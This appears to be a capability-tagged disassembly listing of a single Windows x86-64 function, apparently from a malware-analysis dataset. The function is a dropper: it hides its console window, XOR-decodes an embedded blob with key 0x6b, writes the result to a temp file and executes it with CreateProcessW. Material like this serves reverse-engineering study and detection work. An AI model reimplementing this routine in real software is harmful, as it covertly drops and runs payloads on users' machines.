Function at 0x140001576
Capabilities:
Create process on windows
Get common file path
Hide graphical window
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x538
lea rbp, [rsp + 0x80]
call fcn.140001980
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x484]
mov r8, rax
lea rax, section..rdata
mov rdx, rax
mov ecx, 0x84
call fcn.1400014a4
mov qword [rbp + 0x4a0], rax
mov byte [rbp + 0x49f], 0x6b
mov eax, dword [rbp + 0x484]
mov eax, eax
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp + 0x490], rax
cmp qword [rbp + 0x490], 0
jne 0x14000160c
lea rax, [0x140009004]
mov rcx, rax
call fcn.140001450
mov eax, 0xffffffff
jmp 0x1400018b8
mov dword [rbp + 0x4ac], 0
jmp 0x14000164e
mov eax, dword [rbp + 0x4ac]
mov rdx, qword [rbp + 0x4a0]
add rax, rdx
movzx eax, byte [rax]
mov ecx, eax
mov eax, dword [rbp + 0x4ac]
mov rdx, qword [rbp + 0x490]
add rdx, rax
mov eax, ecx
xor al, byte [rbp + 0x49f]
mov byte [rdx], al
add dword [rbp + 0x4ac], 1
mov eax, dword [rbp + 0x484]
cmp dword [rbp + 0x4ac], eax
jb 0x140001618
lea rax, [rbp + 0x270]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
test eax, eax
je 0x1400016a3
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x270]
mov r9, rdx
mov r8d, 0
lea rdx, [0x14000901e]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
call rax
test eax, eax
jne 0x1400016aa
mov eax, 1
jmp 0x1400016af
mov eax, 0
test al, al
je 0x1400016db
lea rax, [0x140009028]
mov rcx, rax
call fcn.140001450
mov rax, qword [rbp + 0x490]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, 0xffffffff
jmp 0x1400018b8
lea rax, [rbp + 0x60]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x488], rax
cmp qword [rbp + 0x488], 0xffffffffffffffff
jne 0x14000174e
lea rax, [0x140009049]
mov rcx, rax
call fcn.140001450
mov rax, qword [rbp + 0x490]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, 0xffffffff
jmp 0x1400018b8
mov dword [rbp + 0x5c], 0
mov r8d, dword [rbp + 0x484]
lea rcx, [rbp + 0x5c]
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x488]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
sete al
test al, al
je 0x1400017ca
lea rax, [0x140009065]
mov rcx, rax
call fcn.140001450
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x490]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, 0xffffffff
jmp 0x1400018b8
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x490]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov dword [rbp - 0x10], 0x68
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
sete al
test al, al
je 0x140001893
lea rax, [0x140009083]
mov rcx, rax
call fcn.140001450
mov eax, 0xffffffff
jmp 0x1400018b8
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x538
pop rdi
pop rbp
ret